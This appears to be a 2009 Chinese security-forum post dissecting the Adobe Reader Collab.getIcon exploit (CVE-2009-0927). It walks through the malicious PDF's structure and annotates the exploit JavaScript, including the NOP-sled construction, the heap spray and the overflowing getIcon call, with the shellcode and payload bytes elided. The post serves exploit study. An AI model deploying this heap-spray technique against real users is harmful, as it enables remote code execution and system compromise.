-
-
[原创]完整剖析Acrobat Reader - Collab getIcon universal exploiter之路
-
发表于:
2009-9-27 09:41
11524
-
[原创]完整剖析Acrobat Reader - Collab getIcon universal exploiter之路
忙活了几天,今天才有空来写点东西。好了,废话不多说,开始。。。
无意中在看雪看见已经有位叫pandascu兄弟针对这个漏洞分析写了一篇文章:
http://bbs.pediy.com/showthread.php?t=98139
文章写的很详细,我就在他的基础上扩展扩展。(昨天本来上看雪想加他好友跟他交流交流,可能因为我太水他没有理我)
首先,说说从哪拔exploit,当然是让人又爱又恨的milw0rm:
http://www.milw0rm.com/exploits/9579
从上面可以下载到 2009-CVE-2009-0927_package.zip
里面有几个文件一个说明,一式两份(一份pdf,一份doc),还有两个源代码evil_payload.c,evil_pdf.py,然后就是exploit文件一个pdf和一个dll,说明里面有详细介绍怎么用这些文件
我懒就不编译了,用现成的exploit文件,即CVE-2009-0927_exploit.pdf,至于那个DLL是shellcode运行后生成的,是用来提取shellcode中相关函数的,这个就不具体说了后面另开写shellcode的文章来说他的作用。
下面正式开始了,文章分4个部分来写:1.PDF文件格式;2.JavaScript脚本分析;3.调试;4.利用(exploit)
1.PDF文件格式
用ue打开pdf文件,直接就可以看到pdf文件的结构,这个文件构造的很简单,看来写这个exploit的大侠对pdf文件格式很是了解啊!(要不然怎么挖漏洞)。
这里我也就简单说下pdf的文件格式:
要点一:PDF文件是一种文本和二进制混排的格式,但是Adobe更愿意让人把它当成二进制的文件,所以在里面建议当文件里面的文本太多的时候,可以加一些二进制的注释,好让现有的一些编译器把它当成二进制文件。里面的文本主要是对文件结构的一种描述,二进制的内容来自于三个方面:1、图片;2、字体;3、压缩后的Post Script。
要点二:文件结构可以分为三方面:
1、首部。用文本编辑器打开的时候就可以看到:%PDF-1.4 这样的字眼,其中最后一位就是PDF文件格式版本号,软件的版本号总要比文件格式的版本号高1,比如说Read 5能打开的内容就是4。
2、文件体。里面有若干个的obj,以及xref来组成,OBJ这种形式。
3、文件尾。没有什么好说的。
下面我就这个exploit文件来具体解释下:
%PDF-1.1 //这一句也就是pdf的文件头 标示版本号1.1
//下面就是一堆object了
1 0 obj //1标示这个obj的序号用于在,0是用来标示不同的obj现在已经不管了都是0,obj是关键字
<< //从这里开始各行就是obj的属性了 以“/关键字 值”的形式来出现
/Type /Catalog //额。。。说了这个obj的类型是目录catalog
/Outlines 2 0 R //这个说了,第二个obj是outlines
/Pages 3 0 R //这个就不解释了 因为。。。。
/OpenAction 7 0 R //因为我们看中的是这个 说了/OpenAction 在第7个obj
>>
endobj //这个obj完结了
//通过上面这个目录我们看到了最重要的东西/OpenAction 在第七个其他可以忽略了直接去第七个看看,我认为的/OpenAction意思应该是打开PDF时的行为,这里就是挂接JavaScript插件的
7 0 obj
<<
/Type /Action
/S /JavaScript //果然是啊,这才是真正的坏蛋,先不具体看它 把文件格式弄完再说
/JS (
var dll_payload ......
.......
app.doc.Collab.getIcon(buffer+'pwn3D.BYkralor');
)
>>
endobj
//该xref出场了,这个就是obj的索引表 它会告诉你每个obj的具体位置(学名交叉应用表)
xref
0 8
0000000000 65535 f
0000000010 00000 n
0000000098 00000 n
0000000147 00000 n
0000000208 00000 n
0000000400 00000 n
0000000549 00000 n
0000000663 00000 n
trailer //对整个xref的摘要,说明里面有多少个OBJ,读的时候从哪个OBJ开始解析,信息节点
<<
/Size 8 // 说了 一共有8个xref 也跟上面的对应起来了
/Root 1 0 R //这就是第一个节点为什么是目录的原因了
>>
startxref //告诉你xref是从哪开始的 同时也是文件尾
127077 //就是从这里 注意:里面的数字都是10进制记得转换啊
%%EOF //好了整个文件收尾了
var dll_payload = unescape("%u...");//这个不说了就是dll文件
var shellcode = unescape("% u 02 eb...");//shellcode 也不说了作用就是开个80口的shell
garbage = unescape("% u90 90% u 90 90");//填充的nop块用来跳转用 你也可以用inc 1 dec1之类的来代替
while (garbage.length < 0x100)
garbage += garbage; //将garbage搞大,0x100那么大
garbage += shellcode + dll_payload;//将shellcode和dll连接到后面形成个大数据块
nopblock = unescape("% u90 90 %u 90 90"); //又一个nop块
headersize = 16;
acl = headersize + garbage.length; //加个16长的头
while (nopblock.length < acl)
nopblock += nopblock; //把noplock扩大到前面的大数据块那么大
fillblock = nopblock.substring(0, acl); //精确化大小一个filllock
block = nopblock.substring(0, nopblock.length - acl);
while(block.length + acl < 0x26000)
block = block + block + fillblock;
//总之上面都是在弄一个0x26000大小的nop块,自己可以精简代码
memory = new Array();
/* ~500MB standalone, ~1GB firefox/IE */
for (i=0;i<1024;i++)
memory[i] = block + garbage; //这几句是关键,就是堆喷射了 喷多大? 1024*(0x2600+acl)
//JavaScript到这一句,在内存中已经把shellcode和nop块在堆中喷射好了,下面在buff中添地址的时候随便找个有喷射nop的地方就可以了
var buffer = unescape("%10%10%10%1f");//就是这个可以根据调试的具体情况换换
while(buffer.length < 0x6000)
buffer += buffer; //又是申请一个地址块,看你怎么跑出手掌心
app.doc.Collab.getIcon(buffer+'pwn3D.BYkralor');
//这里就是关键点了,调用有漏洞的函数getIcon,给他传个buff,长度是0x6000+'pwn3D.BYkralor'.length
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!